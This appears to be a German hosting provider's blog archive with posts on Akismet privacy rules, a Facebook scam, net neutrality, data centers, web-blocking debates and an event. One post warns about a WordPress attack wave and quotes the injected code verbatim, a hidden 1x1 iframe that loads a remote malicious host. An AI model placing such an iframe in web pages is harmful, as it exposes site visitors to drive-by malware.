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WordPress ist leider nicht nur Opfer von Hackern, sondern birgt leider wieder mal die große Gefahr einer Abmahnung. In den letzten Wochen war in Foren und auf Webseiten zu lesen, warum. Es geht um das geniale AntiSpam-Plugin Akismet.
Akismet liegt standardmäßig jedem Download von WordPress bei. Um Spam zu vermeiden, wird der Inhalt von Blogkommentaren, nebst dem Namen, der Emailadresse, den Referrer und die IP-Adresse der jeweiligen Verfasser an einen Server in den USA gesendet. Diese Daten werden genutzt, um zu prüfen, ob der Kommentar Spam darstellt oder nicht. Anschließend werden die Daten gespeichert, um selbst als Grundlage für Spamerkennung zu dienen. Akismet wird von Automattic, dem Unternehmen hinter WordPress, betrieben.
Leider haben deutsche Datenschützer und Juristen (unter anderem auch die Berliner Juristen für Internetrecht Schwenke und Dramburg von Spreerecht) festgestellt, dass dieses Vorgehen in der bisherigen Art und Weise datenschutzrechtlich unzureichend ist und eine Abmahngefahr besteht.
Über die genauen juristischen Hintergründe erfahren Sie mehr in dem Beitrag von Thomas Schwenke.
Vielmehr ist guter Rat teuer, was zu tun ist. Denn Akismet arbeitet zuverlässig, ist kostenlos und jeder WordPress Blogger würde es vermissen.
Unter anderem in diesem Blog der Datenreisenden findet man eine Lösung. Es gibt ein kleines Zusatz-Plugin, das eine Checkbox an die Kommentare setzt, bei dem der Nutzer “aktiv” ein Häckchen setzen muss und sich damit einverstanden erklärt, dass seine Daten zum Zwecke des SPAM-Schutzes in die USA gesendet werden.
Dumm eigentlich, denn diese Aktion wird sicher einige Nutzer von Blogs abschrecken, Kommentare zu hinterlassen. Aber es geht nur schwer anders. Der Beitrag im WordPress Blog erklärt die Alternativen.
Wichtig ist auch, dass man zusätzlich zu dem Plugin im Impressum eine Erweiterung der Datenschutzerklärung einfügt.
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Zugegebenermaßen nervt es….
WOW Jetzt kannst du sehen wer sich dein Profil ansieht!

Das ist ja auch gut und schön, aber stimmt nicht. Und jeder weitere Klick hilft dabei, dass sich dieser Virus weiter auf Facebook verbreitet.
Also:
1) Die Häufigkeit dieser Meldung sollte stutzig machen
2) Das man permanent angechattet wird sollte stutzig machen
3) u.v.m. sollte stutzig machen
Nicht anklicken, nicht ärgern. Einfach ingorieren, bis Facebook seine immer wieder auftretenden Lücken stopft.
In diesem Sinne… Happy Networking!

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Es ist leider wieder soweit. Nun gibt es wieder eine Angriffswelle auf WordPress Blogs.
Was passiert?
Auf der index.php wird ein Iframe mit Schadcode eingebaut: <i frame …> mit URL zu defrnezk.co.cc – gehostet wird dieser bei elaninet.com.
Wie erkennt man aber eigentlich, dass das Blog gehacked wurde? Nun, es wird natürlich erheblich langsamer, und es gibt einige unschöne Fehlermeldungen beim Aufruf der Startseite:
Warning: Cannot modify header information – headers already sent by (output started at /mounted-storage/home1/sub002/sc20514-CZQT/marketingserver.info/index.php(1) : eval()’d code:37) in /mounted-storage/home1/sub002/sc20514-CZQT/marketingserver.info/wp-includes/pluggable.php on line 890
Schadcode:
<iframe src=”http://defrnezk.co.cc/QQkFBg0MBAEDAAABEkcJBQcEBAYDBAAMBA==” width=”1″ height=”1″></iframe>
Hier gibt es auch weitere Informationen:
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Die Europäische Kommission hat heute ihren langerwarteten Bericht zur Netzneutralität veröffentlicht. Dieser Bericht folgt der öffentlichen Konsultation, auf die die Kommission im letzten Jahr mehr als 300 Antworten und Beiträge erhalten hatte.
EU-Kommissarin Neelie Kroes, zuständig für die Digitale Agenda, erklärte in einer Rede am 19. April, dass der wahre Wert des Internets darin besteht, dass es uns allen gehört. Kroes kündigte Untersuchungen an, ob die Unternehmen in der EU den europäischen Bürgern einen fairen Zugang zum Internet bieten. Der Body of European Regulators for Electronic Communications (BEREC) wurde von ihr beauftragt, hierfür eine gründliche Faktensammlung zu starten und die Ergebnisse am Ende des Jahres zu präsentieren.
Laut dem Netzneutralität-Bericht der EU geht man davon aus, dass „schlechte Presse“, ausreichende Kritik seitens Verbraucher und die Marktkräfte ausreichen, um Verstöße gegen das Prinzip der Neutralität zu vermeiden. Die Kommission möchte sich daher dafür engagieren, dass Verbraucher einfacher die Verträge wechseln können.
Originalmeldung aus netzpolitik.org
Den EU-Bericht gibt es hier.
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Rechenzentren müssen sicher sein und gekühlt werden, das ist jedem IT-Menschen klar. Aber wo manch ein Rechenzentrum zu finden ist, ist schon seltsam. Das Magazin silicon.de stellt Data Center an außergewöhnlichen Standorten vor.
Die Amerikaner betreiben eine Forschungs- und Logistik-Station am Südpol, dabei ist ein Data Center mit 64 Servern und mehr als 2 TB Speicher. Zudem gibt es Verbindungen zu US-Satelliten, über die jeden Tag bis zu 100 GB wissenschaftliche Daten transferiert werden.
In Barcelona wurde ein Supercomputer der ‘Universitat Politècnica de Catalunya’ in eine Kapelle eingebaut, der von 5 Meter hohen Glaswänden umgeben ist.
Verne Global ist ein Rechenzentrum im isländischen Keflavík, das auf einer ehemaligen NATO-Basis liegt. Die niedrigen Außentemperaturen sorgen das ganze Jahr über für Kühlung. Das Rechenzentrum bezieht 100 Prozent seiner Energie aus Wasserkraft und Geothermie.
Das Stockholmer ‘Pionen White Mountains Data Center’ gehört dem schwedischen Internet Service Provider Bahnhof AB. Es liegt in einem Atom-Bunker, der in den 70er Jahren für die schwedische Regierung errichtet wurde. Das Rechenzentrum gelangte kürzlich zu Ruhm, als bekannt wurde, dass hier WikiLeaks-Daten gehostet werden.
In der Region Chubu auf der japanischen Hauptinsel Honshu wird ein Rechenzentrum in einem ehemaligen Steinkohlebergwerk gebaut. Geplant sind 30 Container mit jeweils 250 Servern. Die Kühlung liefern das Grundwasser sowie die Raumtemperatur von 15 Grad Celsius.
In Helsinki betreibt der finnische IT-Dienstleisters Academica ein Rechenzentrum direkt unter einer Kirche. Ein Bunker aus dem Zweiten Weltkrieg wurde für das Data Center unter der Uspenski-Kathedrale umgebaut.
Die wohl denkwürdigste Rechenzentrum-Idee hat Google. Man ein Konzept für Datenzentren entwickelt, die auf offener See stationiert werden sollen. Die Datenzentren versorgen sich auf dem Meer über die Wellenbewegung eigenständig mit Strom und werden vom kalten Wasser gekühlt.
Quelle und weitere Infos unter silicon.de
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Die Diskussion um die Netzsperren zur Bekämpfung von Kinderpornografie scheint sich zum Guten zu wenden. Im letzten Jahr brachte die damalige Familienministerin Ursula von der Leyen den Vorschlag, verbotene Inhalte durch Sperren zu bekämpfen. Die Gefahr, eine Internetzensur für beliebige, als verboten eingestufte Inhalte einzuführen, brachte ihr den Namen Zensursula ein.
Nun ist die schwarz-gelbe Koalition ist von Netzsperren zur Bekämpfung von Kinderpornografie abgerückt. Verbotene Inhalte sollen durch das Löschen von Seiten bekämpft werden, sagte Justizministerin Sabine Leutheusser-Schnarrenberger (FDP). Die Internet-Branche begrüßte den Entschluss. Nun würden kinderpornografische Darstellungen im Netz «weltweit direkt an der Quelle gelöscht, statt sie in Deutschland hinter Stoppschildern zu verstecken», teilte der Internet-Verband eco mit.
Wir als Internet Provider verfolgen die Diskussion, schließlich betrifft uns das Thema “Internetzensur” grundsätzlich auch.
Wie denkt Ihr darüber? Ist das richtige Weg?
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Die britische Regierung spricht mit den Internet Service Providern des Landes über Möglichkeiten, Websites zu sperren, auf denen oder über die Urheberrechte verletzt werden. Das meldet das Internet-Portal heise online unter Berufung auf einen Brief der Regierung an die Bürgerrechtsorganisation Open Rights Group (ORG). Es soll bei einem Treffen von Rechteinhabern und den Providern bereits die Einrichtung einer Arbeitsgruppe vereinbart worden sein.
Wie auch in Deutschland hat sich bereits eine Opposition – bei den Briten unter der Führung der Bürgerrechtler der ORG – formiert. Sie lehnen die Websperren ab. Die ORG ruft die Internetnutzer dazu auf, den Abgeordneten ihres Wahlkreises ihre Ablehnung gegen Websperren per E-Mail zu verdeutlichen.
In Großbritannien wird die Einführung von Websperren in diesem Jahr verstärkt diskutiert. Vor wenigen Tagen wurde bekannt, dass die Content-Industrie eine Liste von 100 Websites vorgelegt hat, die von den britischen Providern gesperrt werden sollen. Vor einem Jahr hatte die britische Regulierungsbehörde Ofcom einen Entwurf für einen Verhaltenskodex für Provider bei Urheberrechtsverstößen durch Kunden veröffentlicht. Ertappte Kunden sollten von den Providern verwarnt und im Wiederholungsfalle auf eine Liste gesetzt werden, auf die Rechteinhaber Zugriff haben.
Quelle: heise online
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Am 31. März treffen sich Medienschaffende, Content-Experten und PR-Verantwortliche auf dem 4. Cologne Web Content Forum, um über die Zukunft der Netzinhalte zu diskutieren. Die Eröffnungsrede wird der Journalist und Berater Thomas Knüwer halten. Seine These lautet “Eine neue Generation von Internetnutzern ist auf dem Vormarsch, für die Inhalte wichtiger als die Technik dahinter ist.”
Zusätzlich verleiht eco – Verband der deutschen Internetwirtschaft e.V. den eco Content Star in drei Kategorien, für den MEDIEN.NRW einen besonderen Preis zur Verfügung stellt.
Das 4. Cologne Web Content Forum findet am 31. März 2011 von 09.30 bis 21.00 Uhr in Köln statt. Die komplette Agenda und weitere Informationen samt Anmeldemöglichkeit gibt es im Netz unter http://webcontentforum.de.
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